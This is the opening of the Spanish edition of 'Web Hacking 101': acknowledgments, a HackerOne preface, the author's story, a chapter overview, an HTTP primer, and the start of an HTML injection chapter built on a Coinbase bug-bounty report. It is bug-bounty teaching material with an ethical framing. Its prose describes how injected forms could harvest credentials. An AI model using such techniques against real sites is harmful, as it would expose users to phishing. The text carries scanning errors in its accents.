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Peter: A andrea y Ellie, gracias por apoyarme y ser mi fuente constante de motivacion y confianza.
No solamente pudiera ser que nunca hubiera terminado este libro sin ustedes, sino que mi jornada
en el apasionante mundo del hacking nunca hubiera comenzado.

Al equipo de HackerOne, este libro quizas no seria lo que es si no fuese por ustedes, gracias por todo
su apoyo, retroalimentacion y por el trabajo con el que han contribuido a hacer de este libro mas que
un andlisis de 30 publicaciones.

Finalmente, mientras que este libro se vende por una cantidad minima de $9.99, las ventas en el
precio suberido de $19.99 o por encima de éste, me ayudan a mantener bajo el precio minimo, de tal
forma que este libro se mantenga accesible para las personas que no pueden permitirse el lujo de
pagar mas por él. Esas ventas también me permiten tomar un tiempo para alejarme de la biisqueda
de vulnerabilidades para estar anadiendo mas contenido y hacer un mejor libro de tal manera que
todos aprendamos juntos.

Mientras que lo deseo tanto, pudiera nombrar a cada una de las personas que pagaron mas del precio
minimo (por la edicion en inglés de este libro) para agradecerles, la lista pudiera ser muy larga pero
realmente no conozco ningtin detalle de contacto de los compradores a menos que ellos me contacten.
Sin embargo, hay un grupo pequerio quienes pagaron mas del precio sugerido cuando hicieron sus
compras, los cuales fueron mds alla de lo esperado. A quienes me gustaria reconocerles aqui.

Entre ellos se incluyen: 1. @Ebrietas0 2. Comprador misterioso 3. Comprador misterioso 4. @naham-
sec (Ben Sadeghipour) 5. Comprador misterioso 6. @Spam404Online 7. @DanyloD (Danylo Matviyiv)

Si tu debes estar en esta lista, por favor, mandame un mensaje directo a Twitter. A cada uno de
quienes han comprado una copia de este libro, Gracias!

Edwin: a H” Quien me ha dotado de sorprendentes herramientas. Atah-HaKol. A Maria José,
impresionante mujer fuente de motivacion y quien me da la dosis extra de confianza para todos
mis proyectos. Te Amo. A mi madre, quien me ha formado y me ha inculcado valores para ser una
persona de bien con mis semejantes. Usted es muy especial. A Peter Yaworsky, autor de este libro, por
su voto de confianza y permitirme formar parte de este proyecto. Gracias, Pete! A mis amigos hackers
que me han inspirado y de diferentes maneras me han brindado su apoyo en este apasionante arte
de la seguridad informatica. Gracias: * Rodolfo Cecefia @roberknight01 * Kirlian Zepeda, [DEP] *
Stefan Rivera @CiskoSV
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Prefacio

La mejor forma de aprender algo es simplemente haciéndolo. Asi es como nosotros - Michiel Prins
y Jobert Abma - aprendimos a hackear.

Eramos jévenes. Como todos los hackers que estuvieron antes que nosotros, y todos los que
vendran después. Eramos conducidos por una incontrolable y candente curiosidad por entender
como funcionaban las cosas. Mayormente fuimos jugadores de video juegos por computadora y
ya por la edad de los 12 afios decidimos aprender por nosotros mismos como construir software.
Aprendimos como programar en Visual Basic y PHP con libros de la biblioteca y obviamente con la
practica.

Con nuestro entendimiento del desarrollo de software, rapidamente descubrimos que esas habilida-
des nos permitieron encontrar los errores de otros desarrolladores. Cambiamos la construccion por
el rompimiento y es asi como el hacking ha sido nuestra pasién desde entoces. Para celebrar nuestra
graduacion de la escuela secundaria, tomamos el control de un canal de servicios de television abierta
y pusimos un anuncio felicitando a nuestra clase de graduaciéon. Mientras con el pasar del tiempo
nos divertiamos, también aprendimos rapidamente que hay consecuencias y que ese no es el tipo de
hackers que el mundo necesita. La estacion de television y la escuela no se divirtieron con nosotros
y fue asi que pasamos ese verano limpiando ventanas como nuestro castigo. Ya en la Universidad,
volvimos nuestras habilidades en un negocio de consultoria viable, que en su apogeo, teniamos
clientes en el sector publico y privado en todo el mundo. Nuestra experiencia en el hacking nos llevo
hacia HackerOne, una compania que fundamos en conjunto en el 2012. Quisimos permitir a cada
compania en el universo que trabajara con hackers de forma satisfactoria, y esa idea contintia siendo
la misiéon de HackerOne hoy en dia.

Si estas leyendo esto, ti también tienes la curiosidad necesaria para ser un hacker y cazador de
errores. Creemos que este libro sera una tremenda guia a lo largo de tu jornada. El libro esté lleno
con una rica cantidad de ejemplos de reportes de vulnerabilidades del mundo real que resultaron en
recompensas reales por encontrar esos fallos. Estos ejemplos estan acompanados de un anéalisis muy
ttil y su respectiva revisién por parte de Pete Yaworsky, quien es el autor y un colega hacker. El es
tu compafiero a medida que aprendas, y eso es muy valioso.

Otra razon por la que este libro es muy importante, es que te enfoca en como convertirse en un hacker
ético. Dominar el arte del hacking puede ser una habilidad extremadamente poderosa que esperamos
sea usada para el bien. Los hackers mas exitosos saben como navegar entre la linea delgada de lo
correcto y lo incorrecto mientras hackean. Muchas personas pueden romper cosas y aun asi intentar
hacer dinero facil haciendo eso. Pero, imaginate hacer la Internet cada vez mas segura, trabajar con
compafiias impresionantes alrededor del mundo y que paguen por tus hallazgos. Tu talento tiene el
potencial de mantener seguros a billones de personas juntamente con sus datos. Eso esperamos que
sea a lo que aspires.
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Estamos agradecidos infinitamente con Pete por tomarse el tiempo para documentar todo esto tan
elocuentemente. Nosotros hubiéramos deseado tener un recurso como este cuando iniciamos. Se
disfruta mucho leyendo el libro de Pete porque contiene la informacién necesaria para hacerte
despegar en esta jornada del hacking.

Diviértete leyendo y happy hacking!
Recuerda hackear responsablemente.

Michiel Prins y Jobert Abma Co-Fundadores, HackerOne



Introduccion

Gracias por comprar este libro. Espero que te diviertas mucho leyendo asi como yo lo hice
investigando y escribiéndolo

Web Hacking 101 es mi primer libro, orientado a ayudarte a que te inicies en el hacking. Comencé
escribiéndolo como una publicacién auto explicatoria de 30 vulnerabilidades, un subproducto de mi
propio aprendizaje. Pero rapidamente esto se volvié en mucho mas que eso.

Mi esperanza en este libro es, por lo menos, abrirte los ojos al amplio mundo del hacking, y en el
mejor de los casos, espero que este sea tu primer paso al frente para hacer de la web un lugar mas
seguro mientras ganas dinero haciendo ese trabajo.

¢COmo inicié todo?

A finales del 2015, tropecé con el libro, Somos Anonymous: Al interior del mundo hacker de Lulzsec,
Anonymous y la insurgencia cibernética global) por Parmy Olson, lo terminé de leer en una semana.
Al haberlo finalizado estaba maravillado en saber cémo iniciaron esos hackers.

Estaba sediento por mas, pero no sélo queria saber QUE hicieron esos hackers, yo queria saber
COMO esos hackers lo lograron. Asi que continué leyendo. Pero cada vez que finalizaba un libro
nuevo, habia terminado con las mismas preguntas iniciales:

« ;Como los hackers aprendieron sobre las vulnerabilidades que ellos encontraron?
« ;Donde hay personas encontrando vulnerabilidades?

+ ;Como los hackers inician el proceso de hacking en un sitio objetivo?

+ ;A caso el Hacking es el uso de herramientas automatizadas?

+ ;Como puedo iniciar buscando vulnerabilidades?

Pero en esta busqueda de mas respuestas, seguia abriendo mas y mas puertas.

Cerca de ese mismo tiempo, estuve llevando un curso de desarrollo en Android de Coursera, también
estaba pendiente de otros cursos interesantes. La especializacion en Ciberseguridad de Coursera
captd mi atencidn, particularmente el Curso No. 2, Seguridad del Software. Afortunadamente
para mi, éste estaba por iniciar (inicié en Febrero de 2016, por esos dias estaba anunciado como
Proximamente), asi que me inscribi.

Unas cuantas lecturas de introduccién y finalmente entendi qué es un desbordamiento de bufer y
como puede ser explotado. Comprendi completamente como se alcanzaban las inyecciones SQL,
por lo que antes soélo sabia el peligro que representaba. En breve resumen, estaba impactado.
Hasta este momento, siempre me habia aproximado a la seguridad web desde la perspectiva
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del desarrollador, contemplando la necesidad de sanitizar los valores de entrada y evitar usar
directamente la informacién que proporciona el usuario. Ahora es que estoy comenzando a entender
qué es todo lo que se puede buscar, pero desde la perspectiva de un hacker.

Me mantuve buscando mas informaciéon de como hackear y me pasé por los foros de ayuda
de Bugcrowd. Desafortunadamente no presentaban mucha actividad en ese tiempo, pero hubo
alguien que menciond la hacktividad de HackerOne y enlazaba a un informe. Al seguir el enlace
me impresioné. Estaba leyendo la descripcion de una vulnerabilidad, escrita a una compania que
consintié en mostrarla al mundo. Tal vez lo mas importante de eso, es que la compaiiia le pag6 al
hacker que encontr6 la vulnerabilidad y presento el informe!

Eso fue un punto crucial, me obsecioné. Especialmente cuando una compaiiia de origen canadiense,
Shopify, parecia estar liderando las listas de divulgacion en ese tiempo. Al revisar el perfil de Shopify,
la lista de divulgacion estaba repleta de reportes abiertos al publico. No pude leer lo suficiente
al respecto, pero entre las vulnerabilidades se incluian programacion de script de sitio cruzado
(Cross-Site Scripting, conocido también como XSS), fallas de autenticacion y también falsificacion
de peticion de sitio cruzado (Cross-Site Request Forgery, conocido también como CSRF) por nombrar
solamente algunas.

Lo admito, en este punto he tenido problemas para entender lo que se detalla en los informes. Algunas
de las vulnerabilidades y sus métodos de explotacion fueron dificiles de entender.

Buscando en Google como poder entender un informe en particular, terminé en un hilo de un
problema de Github por una antigua vulnerabilidad de debilidad de un parametro predeterminado
de Ruby on Rails (esta esta detallada en el capitulo Logica de la Aplicacion), reportada por Egor
Homakov. Dando seguimiento al trabajo de Egor me condujo a su blog, el cual incluye divulgaciones
de algunas vulnerabilidades que son seriamente complejas.

Leyendo sobre sus experiencias, me puse a pensar, el mundo del hacking se puede beneficiar de las
expliaciones en lenguaje claro de las vulnerabilidades del mundo real. Y entonces me di cuenta, que
yo aprendo de mejor manera ensefiando a otros.

Y asi fue como naci6 Web Hacking 101.

Solamente 30 ejemplos y mi primera venta

Decidi empezar con una meta simple, encontrar 30 vulnerabilidades web y explicarlas en una manera
facil de entender y en lenguaje claro.

Me imaginaba, en el peor de los casos, investigar y escribir sobre las vulnerabilidades que me
ayudaron a aprender sobre hacking. Y en el mejor de los casos, que podria vender un millén de
copias, volverme un autopublicador y jubirlarme a temprana edad. Esta ultima tiene que ocurrir y
a veces la primera opcioén parace no tener fin.

Alrededor de las las 15 vulnerabilidades explicadas, decidi publicar el primer borrador de tal forma
que pudiera ser comprado - la plataforma que elegi, LeanPub (probablemente de donde la mayoria
lo ha comprado), esta plataforma permite publicar de forma interactiva, proveyendo a los clientes
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el acceso a todas las actualizaciones. Envié un tweet agradeciendo a HackerOne y a Shopify por
sus publicaciones y aproveché para decirle al mundo sobre mi libro. Ciertamente, no tenia muchas
expectativas.

Pero dentro de unas horas, hice mi primera venta.

Estaba euforico con la idea que alguien pagara por mi libro (algo que habia creado y que habia
puesto una tonelada de esfuerzo en él), inicié sesién en LeanPub para ver qué podia encontrar sobre
el comprador misterioso. No encontré nada. Pero de repente vibré mi teléfono celular, habia recibido
un tweet de Michiel Prins diciendo que le gustaba el libro y me pidié que me mantuviera en ese ciclo.

;Quién demonios es ese tal Michiel Prins? Revisé su perfil de Twitter y todo me dio vueltas, él es uno
de los Co-Fundadores de HackerOne. Mierda! Una parte de mi pensaba que HackerOne no podria
estar impresionado con mi confianza en su sitio para ponerlo en el contenido. Pero intenté tener una
actitud positiva y Michiel parecia ser de apoyo al pedirme que me mantuviera en este ciclo, asi que
esto parecia ser inofensivo.

No mucho después de la primera venta, recibi una segunda venta y pensé que algo estaba pasando.
Coincidentemente, cerca del mismo tiempo, recibi una notificacion de Quora sobre una pregunta en
la que probablemente podria estar interesado, ; Como me volvi en un exitoso cazador de recompensas
por encontrar errores?

Esto significaba compartir mi experiencia como habia iniciado, sabiendo lo que era estar en estos
zapatos, y también queria hacerlo con el propdsito personal de promover mi libro. Pensé que podia
escribir una respuesta. A mitad del camino, me di cuenta que la unica otra respuesta que estaba
habia sido escrita por Jobert Abma, otro de los Co-Fundadores de HackerOne. Una voz con mucha
autoridad en el mundo del hacking. Mierda, otra vez!

Contemplé abandonar mi respuesta, pero mejor decidi por reescribirla basindome en su respuesta,
ya que no podria competir con sus consejos. Presioné el boton de enviar y ya no pensé en nada. Pero
después recibi un correo interesante:

Hola Peter, vi tu respuesta en Quora y me doy cuenta que estas escribiendo un libro
sobre hacking de sombrero blanco. Me gustaria saber mas.

Saludos cordiales,

Marten CEO, HackerOne

Triple mierda! En este punto, muchas cosas corrian por mi mente, ninguna de ellas era positiva y
ciertamente muchas eran irracionales. En resumen, me imaginé que por la unica razén que Marten
podria escribirme era para dejar caer el martillo sobre mi libro. Tengo que agradecer que eso no
pudo haber sido més all4 de la realidad.

Le respondi explicandole quien era yo y qué es lo que estaba haciendo - que estaba intentando
aprender a hackear y ayudar a otros que aprendan conmigo. Por su parte, él vino a ser un gran
seguidor de la idea. Me explicé que HackerOne esta interesado en que crezca la comunidad y en
ayudar a que los hackers aprendan como un tipo de beneficio mutuo para cada uno de los que
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estén involucrados. Resumiendo, él ofreci6 ayudar. Y como un hombre de palabra, lo ha cumplido.
Probablemente, este libro no estaria donde se encuentra hoy en dia, ni incluiria tan siquiera la mitad
del contenido que tiene sin la motivacion constante y gran ayuda por parte de él y de HackerOne.

Desde ese correo inicial, me mantuve escribiendo y Marten los estuvo aprovando. Michiel y
Jobert revisaban los escritos preliminares, proveyendo sugerencias y aun contribuyeron en algunas
secciones. Incluso, Marten trascendi6 y fue mas alla en este esfuerzo al cubrir los costos de un disefio
profesional de la portada (eso fue un adiés a aquella portada plana de color amarillo con un sombrero
de brujas de color blanco, lo cual parecia que habia sido disefiado por un nifio de cuatro afios). En
Mayo de 2016, Adam Bacchus se uni6é a HackerOne y en su quinto dia de trabajo alli, ley? el libro,
proporcioné ediciones y estuvo explicando lo que seria estar en el lado de la recepcion de un informe
de vulnerabilidad. Algo que ya he incluido en el capitulo Escritura de informes.

Menciono todo esto porque en toda esta jornada HackerOne nunca ha pedido que se le retribuya
algo. Ellos solamente han querido apoyar la comunidad y han visto en este libro una buena manera
de hacerlo. Asi como con algunos que puedan ser nuevos en la comunidad hacker, lo que resoné en
mi espero que asi sea con usted también. Personalmente prefiero ser parte de una comunidad
que apoya y es inclusiva.

Asi que desde entonces, este libro se ha expandido dramaticamente, mucho mas alla de lo que
inicialmente hubiese visionado. Y con eso, la audiencia quien es el objetivo también ha cambiado.

Para quien esta escrito este libro

Este libro ha sido escrito teniendo en mente a los nuevos hackers. Pero eso no importa si td eres un
desarrollador o un disefiador web, si todavia te encuentras viviendo en casa de tu madre, si eres un
nifio de 10 afios o uno de 75. Quiero que este libro sea una referencia de autoridad en el entendimiento
de los diferentes tipos de vulnerabilidades, como encontrarlas, como reportarlas, como ser pagado
por esa tarea y todavia aun, como escribir cédigo defensivo.

Dicho eso, no escribo este libro para predicarle a las masas. Realmente, este es un libro para que
aprendamos juntos. De esa manera yo comparto éxitos Y también algunas de mis mas notables (y
embarazosas) fallas.

Tampoco significa que este libro tiene que ser leido en orden desde la portada hasta la dltima
pagina, si hay alguna seccién en particular en la que estas interesado, ve y leela primero. En algunas
ocasiones, hago referencia a secciones que se han discutido previamente, pero al hacer eso intento
conectar las secciones de tal forma que también puedas hojear el libro de atras para adelante. Quiero
que este libro sea algo que te mantenga atento mientras te enuentres hackeando.

Una anotacién, cada tipo de vulnerabilidad es un capitulo y esta estructurado de la misma manera:

+ Comienza con una descripcion del tipo de vulnerabilidad;
« Revision de ejemplos de la vulnerabilidad; y,
+ Concluye con un resumen.
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Por lo consiguiente, cada ejemplo dentro de esos capitulos esta estructurado de la misma manera e
incluye:

Mi estimacion de la dificultad para encontrar la vulnerabilidad
La direccién url asociada donde la vulnerabilidad fue encontrada

Un enlace hacia el informe o la descripcién paso a paso de la vulnerabilidad
La fecha en que la vulnerabilidad fue reportada

La cantidad que pagaron por haberla reportado

Una descripcion facil de entender de la vulnerabilidad

Recomendaciones que puedes aplicar en tus propios esfuerzos

Finalmente, aunque lo que sigue no es un prerequisito en el mundo del hacking, probablemente
es una buena idea tener alguna familiarizacion con HTML, CSS, Javascript y tal vez un poco de
programacion. Eso no quiere decir que debes ser capaz de poner enlazadas en conjunto un montén
de paginas web asi de la nada, no, saca eso de tu cabeza! Lo bueno es tener un entendimiento basico
de la estructura de una pagina web, como las hojas de estilo en cascada (CSS) dan el sentimiento
y apariencia en una pagina web, asi también que entiendas lo que puedes lograr por medio de
Javascript. Eso te ayudara a descubrir vulnerabilidades y entender la severidad de lo que eso implica.
Tener conocimienos de programacion es muy util cuando estas buscando vulnerabilidades en la
logica de la programacion. Si ti mismo puedes ponerte en los zapatos de los programadores para
adivinar como ellos pudieron haber implementado algo o leer su codigo si es que esta disponible,
estaras a la cabeza del juego.

Asi que, entre las cosas por hacer, recomiendo revisar los siguientes cursos gratuitos y en linea
de Udacity Introduccion a HTML y CSS y Las bases de Javacript. Los enlaces a esos cursos
los he incluido en el capitulo Recursos. Si no estas familiarizado con Udacity tu mision es venir
a ser accesible, asequible, comprometiente y ser altamente efectivo con la educacioén de alto nivel
disponible para el mundo. Ellos se han asociado con companias como Google, AT&T, Facebook,
Salesforce, etc. para crear programas de estudio y ofrecer cursos en linea.

Un vistazo a cada capitulo

Capitulo 2 es una introduccion al trasfondo de como funciona la Internet, incluyendo las peticiones,
respuesas y los métodos HTTP.

Capitulo 3 cubre lo relacionado a las inyecciones HTML. En este capitulo aprenderas como poder
inyectar HTML en una pagina web y que pueda ser utilizado de forma maliciosa. Una de las
recomendaciones finales mas interesantes es como puedes utilizar valores codificados para engafiar
a los sitios que acepten y muestren en pantalla el HTML que envias, ain traspasando filtros.

Capitulo 4 cubre la contaminacioén de parametros HTTP. En este capitulo aprendras como encontrar
sistemas que pueden ser vulnerables a que se pasen de largo entradas inseguras a sitios de terceros.
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Capitulo 5 cubre las inyecciones de Alimentacién de Linea y Retorno de Carro (CRLF). En él veras
ejemplos de envio del caracter retorno de carro y rompimiento de lineas asi como el impacto que
esto hace en el renderizado del contenido de un sitio.

Capitulo 6 cubre las vulnerabilidades de falsificacion de peticion de sitio curzado (CSRF), llevandote
a través de ejemplos de como los usuarios pueden ser engafiados al enviar informacién a un sitio
en el que ellos estén logueados, con la diferencia que ellos no saben que lo estan haciendo sin su
consentimiento.

Capitulo 7 cubre vulnerabilidades basadas en la logica de la aplicacion. Este capitulo ha crecido
tanto que atrapa a todas las demas vulnerabilidades, por lo que considero que esta enlazado a las
fallas logicas de programacion. He concluido que este tipo de vulnerabilidades podria ser facil de
encontrar para un principiante en vez de estar buscando formas raras y creativas de enviar entradas
maliciosas a un sitio.

Capitulo 8 cubre la vulnerabilidad de programacién de script de sitio cruzado (XSS), un tema de
categoria masiva con una variedad enorme de formas de como poder explotarlo. XSS representa
oportunidades enormes tanto asi que, probablemente, podria escribirse un libro entero tratando
solamente este tema. Hay una tonelada de ejemplos que podria haber incluido, pero intentaré
enfocarme en los més interesantes y utiles para el aprendizaje.

Capitulo 9 cubre las inyecciones de cédigo de Lenguaje de Consulta Escrtucturada (SQL), lo cual
implica la manipulacion de la base de datos para extraer, actualizar o borrar informacion de un sitio.

Capitulo 10 cubre el tema de las Redirecciones Abiertas. Una vulnerabilidad interesante la cual
envuelve la explotacion de un sitio y dirigir a los usuarios a que visiten otro sitio.

Capitulo 11 cubre la toma de control de subdominios. Algo en lo que aprendi mucho investigando
para ponerlo en este libro. Esencialmente, se trata de que un sitio se refiere a un subdominio alojado
con un servicio a cargo de terceros, pero el sitio principal nunca reclama la direccién apropiada
para ese servicio. Esto podria permitir a un atacante registrar la direccion del servicio a cargo de ese
proveedor externo de tal forma que todo el trafico que se cree que viene del dominio original (de la
victima), actualmente proviene del atacante.

Capitulo 12 cubre las vulnerabilidades relacionadas a las Entidades Externas de XML (XXE), lo que
resulta del analisis del lenguaje de marcado extensible (XML). Este tipo de vulnerabilidades puede
incluir cosas como lectura de ficheros privados, ejecucion remota de codigo, etc.

Capitulo 13 cubre la ejecucion remota de cddigo (RCE). Significa que un atacante pude desencadenar
codigo arbitrario sobre el servidor de la victima.

Capitulo 14 cubre las inyecciones de plantillas, buscando ejemplos en lado del ciente asi como en
el lado del servidor. De este modo, se explican los motores de plantillas, asi como su impacto y la
gravedad en este tipo de vulnerabilidad.

Capitulo 15 cubre la falsificacion de peticion del lado del servidor, la cual permite a un atacante
usar un servidor remoto para hacer peticiones HTTP subsecuentes a nombre del atacante.

Capitulo 16 cubre vulnerabilidades relacionadas a la memoria. Un tipo de vulnerabilidad asi se
puede pensar en que su hallazgo esta tipicamente relacionado a la programacién con lenguajes de
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bajo nivel. No obstante, descubrir este tipo de fallos puede conllevar a otras vulnerabilidades muy
serias.

Capitulo 17 cubre el tema de como iniciarse en el hacking. Este capitulo esta pensado para ayudarte
a considerar donde y como buscar vulnerabilidades, lo que es totalmente opuesto a una guia paso a
paso para poder hackear un sitio.

Capitulo 18 estd en discusion que sea uno de los capitulos mas importantes del libro, ya que este
provee consejos para escribir informes de forma efectiva. Todo el mejor hacking del mundo no
significa nada si no se puede informar apropiadamente del problema a la compaiiia afectada. Como
tal, he remarcado algunas compaiiias de gran nombre que pagan recompensas muy generosas debido
a los reportes que les fueron entregados y que fueron asesorados por HackerOne. Asegurate de
poner mucha atencidn a este capitulo.

Capitulo 19 cambian los engranajes. Aqui profundizamos en las herramientas de hacking reco-
mendadas. Este capitulo fue completamente donado por Michiel Prins de HackerOne. Describe una
tonelada de herramientas interesantes las cuales haran tu vida mas facil! Sin embargo, a pesar de las
herramientas, no hay nada que reemplace la observacion cuidadosa y el pensamiento creativo.

Capitulo 20 esta dedicado a ayudarte a que lleves tu hacking al siguiente nivel. Aqui te llevaremos
a través de algunos recursos impresionantes para continuar aprendiendo. Nuevamente, tomando el
riesgo que esto pueda sonar como un disco rayado, un gran agradecimiento a Michiel Prins por
contribuir a esta lista.

Capitulo 21 concluye el libro y destapa algunos conceptos claves que deberias conocer mientras
hackeas. Dado que la mayoria de términos han sido discutidos en los otros capitulos, algunos que
estan aqui no lo fueron. Asi que te recomendaria tomar una lectura por aqui.

Una palabra de advertencia y un favor

Antes que te alistes dentro del impresionante mundo del hacking, quiero aclarar algo. Asi como
aprendi leyendo divulgaciones que se habian hecho publicas, viendo todo el dinero que la gente
estaba (y todavia sigue) haciendo, podria ser facil idealizar ese proceso y pensar que esto es un
camino facil para volverse rico de una forma rapida.

Pues, no lo es.

El hacking puede ser extremadamente recompensante, pero es dificil encontrar y leer las fallas en
todo el camino (excepto aqui donde comparto algunas historias muy embarazosas). Como resultado,
ya que mayormente escuchas del éxito de las personas, podrias desarrollar expectativas de éxito
fuera de la realidad. Pero también puedes volverte exitoso rapidamente. Pero si no lo estéas teniendo,
mantente trabajando! Eso hara que se te haga mas facil y produce una gran alegria tener un informe
resuelto.

Teniendo eso claro, tengo un favor que pedirte. Asi como lo has leido, por favor enviame un mensaje
en Twitter a @yaworsk' o enviame un correo electronico a peter@torontowebsitedeveloper.com y

"https://twitter.com/yaworsk
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permiteme saber como te esta yendo. Ya sea de forma exitosa o no, me gustaria saber de ti. La caceria
de fallos podria ser un trabajo solitario si tu estas luchando en solitario, pero también es maravilloso
poder celebrarlo unos con otros. Y tal vez tu hallazgo sea algo que podemos incluir en la siguiente
edicion.

Buena suerte!!



Trasfondo

Si estas iniciando de la nada asi como yo lo hice y este libro esta entre tus primeros pasos dentro del
mundo del hacking, serda muy importante para tu conocimiento que sepas como funciona Internet.
Antes que pases la pagina y sigas de largo, a lo que me estoy refiriendo es que debes saber cémo
es mapeada la URL que escribes en la barra de direcciones hacia un dominio de Internet, la cual es
convertida a una direccion IP y todo lo demas que podemos resumir con un etcétera.

Enmarcando eso en una sola oracion: Internet es un pufiado de sistemas que estan conectados entre si
y se envian mensajes unos a otros. Solamente algunos aceptan ciertos tipos de mensajes, y solamente
algunos permiten mensajes de otro conjunto limitado de sistemas, pero en si, cada sistema en Internet
recibe una direccion de tal forma que las personas puedan enviarles mensajes. Entonces, queda a
discrecion de cada sistema determinar qué hacer con el mensaje que reciba y como va a responder.

Para definir la estructura de esos mensajes, las personas han documentado cémo esos sistemas
deberian comunicarse. Para ello han creado unos documentos técnicos conocidos como Solcitudes de
Comentarios (RFC). Por ejemplo, echemos un vistazo a HTTP. HTTP define el protocolo que seguira
tu navegador para comunicarse con un Servidor web. Entonces, es debido a que tu navegador y el
Servidor web han acordado como implementar el mismo protocolo, y de esta forma ellos estaran en
la disponibilidad de comunicarse entre si.

Cuando escribes http://www.google.com en la barra de direccién de tu navegador y presionas la
tecla Entrar, los siguientes pasos describen lo que sucede, pero a un nivel alto o entendible:

+ Tu navegador extrae el nombre de dominio de la URL, www.google.com.

« Tu ordenador envia una solicitud DNS a los ordenadores que tiene configurados como
Servidores DNS. El Servidor DNS ayuda a convertir de un nombre de dominio a una direccién
[P, para este caso, lo convierte a la direccion 216.58.201.228. Consejo: Puedes usar el comando
dig A www.google.com desde tu terminal de linea de comandos para buscar la direccion IP
de un nombre de dominio.

+ Tu ordenador intenta establecer una conexion TCP con la direccién IP a través del puerto
80, el cual es utilizado por el trafico de HTTP. Consejo: Puedes establecer una conexién TCP
ejecutando el comando nc 216.58.201.228 80 desde tu terminal.

+ La conexidn ha sido exitosa, tu navegador enviara una solicitud HTTP como esta:
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GET / HTTP/1.1

Host: www.google.com
Connection: keep-alive
Accept: application/html, */*

« Ahora, el navegador esperara una respuesta por parte del Servidor, en esa respuesta se vera
algo como esto:

HTTP/1.1 200 OK
Content-Type: text/html

<html>
<head>
<title>Google.com</title>
</head>
<body>
</body>
</html>

+ Tunavegador analizara y mostrara el HTML, CSS, y JavaScript que fue devuelto. En este caso,
la pagina inicial de Google.com se mostrara en tu pantalla.

Ahora, con respecto al navegador, la Internet y el HTML, como lo habiamos mencionado previamen-
te, existe un acuerdo de qué forma esos mensajes seran enviados, incluyendo los métodos utilizados
y la peticion de un Host en su respectivo espacio de peticion de la cabecera para todas las solicitudes
HTTP/1.1, tal como lo anotamos mas arriba en el cuarto paso de lo que sucede cuando escribes una
URL. Los métodos definidos incluyen GET, HEAD, POST, PUT, DELETE, TRACE, CONNECT y
OPTIONS.

El método GET se utiliza para devolver cualquier tipo de informacioén que sea identificada por medio
de la solicitud a una Peticion de Identificador Uniforme (URI). El término URI puede ser confuso
especialmente cuando se ha dado mas arriba la referencia a una URL, pero escencialmente, para los
propositos de este libro, sélo necesitas saber que una URL es como la direccion de una persona y
que es como un tipo de URIL, y la URI es como el nombre de la persona (gracias Wikipedia). Si bien
es cierto que no hay una politica sobre los métodos HTTP, tipicamente las peticiones por medio del
método GET no deberian estar asociadas con ningun tipo de funciones de alteracion, estas solicitudes
solamente deberian devolver y proveer datos.

El método HEAD es idéntico al método GET, excepto que el Servidor no debe devolver un mensaje
con cuerpo en la respuesta. Tipicamente no veras muy a menudo que este método sea utilizado, pero
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aparentemente a menudo se emplea para hacer pruebas de validacion de enlaces de hipertexto, de
accesibilidad y cambios recientes.

El método POST es utilizado para invocar alguna funciéon que sera desempefiada por el Servidor,
tal como se determina por el Servidor. En otras palabras, por lo general habra realizado algun tipo
de accidén interna como la creaciéon de un comentario, registrar un usuario, eliminar una cuenta,
etc. La accion que realice el Servidor en respuesta a la peticiéon del método POST podria variar y
no presisamente tenga que resultar en una acciéon que sea hecha. Por ejemplo, si ocurre un error
procesando la respuesta.

El método PUT es utilizado cuando se invoca alguna funcion, pero refiriéndose a una entidad ya
existente. Por ejemplo, cuando actualizas tu cuenta, actualizas una publicacién de un blog, etc. De
nuevo, la accién realizada puede variar y puede dar lugar a que el Servidor no realice alguna accién
en absoluto.

El método DELETE es tal como se escucha, es utilizado para invocar una solicitud en el Servidor
remoto de eliminar un recurso identificado por la URL

El método TRACE es otro método poco comun, el uso de este es para reflejar de regreso el mensaje
de solicitud a quien lo solicit6. Esto le permite al solicitante ver qué es lo que esta siendo recibido
por el Servidor y utilizar esa informacion para propoésitos de prueba y diagnoéstico.

El método CONNECT actualmente est4 reservado para usarlo con un proxy (un proxy basicamente
es un Servidor el cual encamina solicitudes a otros Servidores)

El método OPTIONS es utilizado para solicitar informacién a un Servidor sobre las opciones
disponibles que tiene para comunicarse. Por ejemplo, una llamada al método OPTIONS podria
indicar que el Servidor acepta los métodos GET, POST, PUT, DELETE y OPTIONS pero no acepta
los métodos HEAD o TRACE.

Ahora, ya equipado con el conocimiento basico de como funciona Internet, podemos sumergirnos
dentro de los diferentes tipos de vulnerabilidades que alli pueden ser encontrados.



Inyeccion HTML

Descripcion

la inyeccion de Lenguaje de Marcado de Hipertexto (HTML) a veces también es conocida como una
desfiguracion virtual de una pagina. Realmente este es un ataque hecho posible por un sitio que
permite que un usuario mal intencionado inyecte marcas HTML dentro de su(s) pagina(s) web, y
esto es porque no maneja apropiadamente las entradas de datos del usuario. Dicho de otra forma,
una vulnerabilidad de inyeccion HTML es causada por recibir etiquetas HTML, tipicamente por la
via de un formulario de entrada, cuyo contenido es renderizado de forma literal dentro de la pagina.
Hay que hacer notar que esto es totalmente aparte de inyectar codigo Javascript, VBscript, etc

Debido a que HTML es el lenguaje utilizado para definir la estructura de una pagina web, si un
atacante puede inyectar marcas HTML podra cambiar lo que se mostrara en el navegador. Algunas
veces esto puede resultar en un cambio de apariencia total de la pagina, o en otros casos, la creacion
de formularios para enganar a los usuarios. Por ejemplo, si td pudieras inyectar HTML, y estuvieras
habilitado para agregar una etiqueta <form> en esa pagina para preguntarle a un usuario que
reingrese el nombre con que se registra y su contraseia. Entonces, al enviar ese formulario, lo que
realmente se estaria haciendo es enviar la informacion a un atacante.

Ejemplos

1. Comentarios en Coinbase

Dificultad: Baja

URL: coinbase.com/apps

Enlace del informe: https://hackerone.com/reports/104543*
Fecha del informe: 10 de Diciembre, 2015

Recompensa recibida: $200

Descripcion:

Para esta vulnerabilidad, el hacker identifico que en Coinbase estaba decodificando valores URI
estaban codificados cuando renderizaba el texto. Para aquellos que no estan familiarizados (asi
como yo al momento de escribir esto), los caracteres en una URI pueden ser ya sea reservados o
no reservados. De acuerdo a Wikipedia, los caracteres reservados son los que a veces tienen un

®https://hackerone.com/reports/104543
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significado especial, tal como / y &. Los caracteres no reservados son aquellos que no tienen un
significado en especial, los cuales son, tipicamente, las letras.

Entonces, cuando un caracter esta codificado en la URI, éste es convertido a su valor de byte en el
Coédigo Estandar Americano para el Intercambio de Informacion (ASCII), y esta precedido con el
signo de porcentaje (%). Entonces, / se convierte en %2F, & se convierte en %26. Como una resefia,
ASCII es un tipo de codificacion que era el mas comun en Internet hasta que llegd UTF-8, el cual es
otro tipo de codificacion.

